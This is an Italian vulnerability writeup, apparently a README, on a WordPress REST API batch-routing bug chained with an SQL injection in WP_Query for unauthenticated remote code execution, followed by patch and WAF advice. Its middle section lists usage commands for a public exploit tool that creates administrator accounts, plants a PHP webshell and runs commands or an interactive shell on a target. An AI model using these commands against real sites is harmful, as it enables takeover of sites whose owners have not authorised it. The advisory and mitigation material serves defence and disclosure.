
WordPress REST API: PoC da SQLi a RCE (CVE-2026-63030 & CVE-2026-60137)
TL;DR — Un attaccante non autenticato può combinare un bug di routing batch dell'API REST di WordPress con un'iniezione SQL in
WP_Queryper ottenere la piena esecuzione remota di codice su un'installazione WordPress standard — senza plugin, senza account, senza interazione con l'utente. Scoperta da Adam Kues (Assetnote / Searchlight Cyber), che l'ha chiamata wp2shell. Corretta il 17 luglio 2026 in 6.9.5, 7.0.2 e 6.8.6.
CVE-2026-63030 riguarda l'endpoint batch dell'API REST del core di WordPress (/wp-json/batch/v1) che gestisce in modo così scorretto le sotto-richieste fallite da far instradare una sotto-richiesta successiva lungo la route sbagliata. Da solo, è un bug logico. Combinato con CVE-2026-60137 — un'iniezione SQL nel parametro author__not_in di WP_Query — diventa esecuzione remota di codice non autenticata.
WordPress classifica CVE-2026-63030 come Critica e CVE-2026-60137 come Alta; le stime CVSS di terze parti variano a seconda del tracker (circa 7.5 e 9.1 rispettivamente), poiché nessuno dei due punteggi individuali cattura appieno ciò che la catena fa. Trattatelo come critico indipendentemente dal singolo numero che vi viene mostrato — WordPress lo ha ritenuto abbastanza grave da forzare aggiornamenti automatici su ogni sito interessato.
Causa principale — desincronizzazione del tracciamento interno del batch. Quando una sotto-richiesta in un batch fallisce la validazione, il WP_Error risultante viene registrato in un array interno $validation[] — ma l'array parallelo $matches[] usato per il routing non viene aggiornato di conseguenza. Questo scarto di un elemento sposta ogni sotto-richiesta successiva di una posizione: la sotto-richiesta N finisce per essere instradata usando il route handler destinato alla sotto-richiesta N+1.
Bypass della sanitizzazione. Eseguendo sotto un handler a cui non è mai stata instradata, la sotto-richiesta salta la validazione dell'input di quel handler — inclusi i controlli di tipo e is_array().
Iniezione SQL. Questo scarto consente all'input controllato dall'attaccante di raggiungere il parametro author__not_in di WP_Query come stringa grezza invece che come array. Il controllo is_array() che normalmente lo rifiuterebbe non viene mai eseguito, quindi il valore viene interpolato direttamente in una clausola NOT IN (...).
Percorso verso la compromissione. L'iniezione è solo SELECT — niente query impilate — ma sugli host in cui l'utente del database ha il privilegio FILE, questo è sufficiente per scrivere una webshell PHP nella web root. Dove non è disponibile, lo stesso punto di iniezione può invece estrarre tramite blind/UNION la tabella wp_users per gli hash delle password degli amministratori. In entrambi i casi: nessun account, nessun plugin, nessuna interazione con l'utente richiesta.
sequenceDiagram
participant A as Attacker
participant B as Batch Handler
participant Q as WP_Query
participant D as MySQL
A->>B: POST /wp-json/batch/v1 (crafted multi-request batch)
Note over B: Failed sub-request recorded in one internal array but not the other — indexes drift by one
B->>B: Sub-request N dispatched with sub-request N+1's route handler
Note over B: Wrong handler context — that route's input validation never runs
B->>Q: author__not_in passed as raw string, not array
Note over Q: is_array() guard skipped
Q->>D: SELECT ... WHERE post_author NOT IN (attacker string)
alt DB user has FILE privilege
D-->>A: Writes PHP webshell to web root → RCE
else No FILE privilege
D-->>A: Blind/UNION injection dumps admin password hashes
end
git clone htttps://github.com/GhostInExile/CVE-2026-63030-Wp2Shell
cd CVE-2026-63030-Wp2Shell
pip install -r requirements.txt
python3 CVE-2026-63030.py -t https://target.com --test
# Auto-generate credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin
# Custom credentials
python3 CVE-2026-63030.py -t https://target.com --create-admin -u myadmin -p mypassword
# Auto-create admin, deploy shell, execute single command
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami"
# Interactive shell mode
python3 CVE-2026-63030.py -t https://target.com --shell -i
# Use existing credentials
python3 CVE-2026-63030.py -t https://target.com --shell -U admin -P password -c "id"
# Cleanup after shell session
python3 CVE-2026-63030.py -t https://target.com --shell -c "whoami" --cleanup
# Cleanup only (requires shell URL from previous session)
python3 CVE-2026-63030.py -t https://target.com --cleanup \
-U created_admin -P password \
--shell-url "https://target.com/wp-content/plugins/maint-xxx/maint-xxx.php"
# Use proxy
python3 CVE-2026-63030.py -t https://target.com --test --proxy http://127.0.0.1:8080
# Custom timeout
python3 CVE-2026-63030.py -t https://target.com --test --timeout 60
GHSA-ff9f-jf42-662q (confusione di route) · GHSA-fpp7-x2x2-2mjf (SQLi)CVE-2026-63030) — segnalata da Adam Kues di Assetnote / Searchlight Cyber tramite il programma HackerOne di WordPress.CVE-2026-60137) — segnalata separatamente, come team, da TF1T, dtro e haongo.Applicate subito la patch a 6.9.5, 7.0.2, 6.8.6 o versioni successive — l'unica correzione completa. WordPress ha attivato gli aggiornamenti automatici forzati per i siti interessati; verificate che il vostro lo abbia effettivamente applicato invece di darlo per scontato.
Non potete applicare subito la patch? Bloccate l'accesso non autenticato all'endpoint batch a livello WAF/edge: bloccate sia /wp-json/batch/v1 sia ?rest_route=/batch/v1. Solo misura di emergenza — può rompere l'uso legittimo dell'API batch (ad es. l'editing basato su blocchi) e non sostituisce la patch.
Attivate le regole WAF gestite se il vostro provider le ha distribuite. Cloudflare ha implementato regole per entrambe le CVE sui piani gratuiti e a pagamento lo stesso giorno della divulgazione.
Dopo la patch, esaminate i log di accesso alla ricerca di richieste batch con percorsi di sotto-richiesta malformati o insoliti nella finestra della divulgazione (dal 17 luglio 2026 in poi).
| Versione di WordPress | SQLi (CVE-2026-60137) | Confusione di route (CVE-2026-63030) | Rischio reale |
|---|
| < 6.8.0 | — | — | Non interessate |
| 6.8.0 – 6.8.5 | ✅ | — | Solo SQLi — richiede un plugin/tema per passare input non attendibili in author__not_in; non raggiungibile in pre-autenticazione col solo core. Applicate comunque la patch. |
| 6.9.0 – 6.9.4 | ✅ | ✅ | RCE non autenticata |
| 7.0.0 – 7.0.1 | ✅ | ✅ | RCE non autenticata |
| 7.1 Beta 1 | ✅ | ✅ | RCE non autenticata (canale beta) |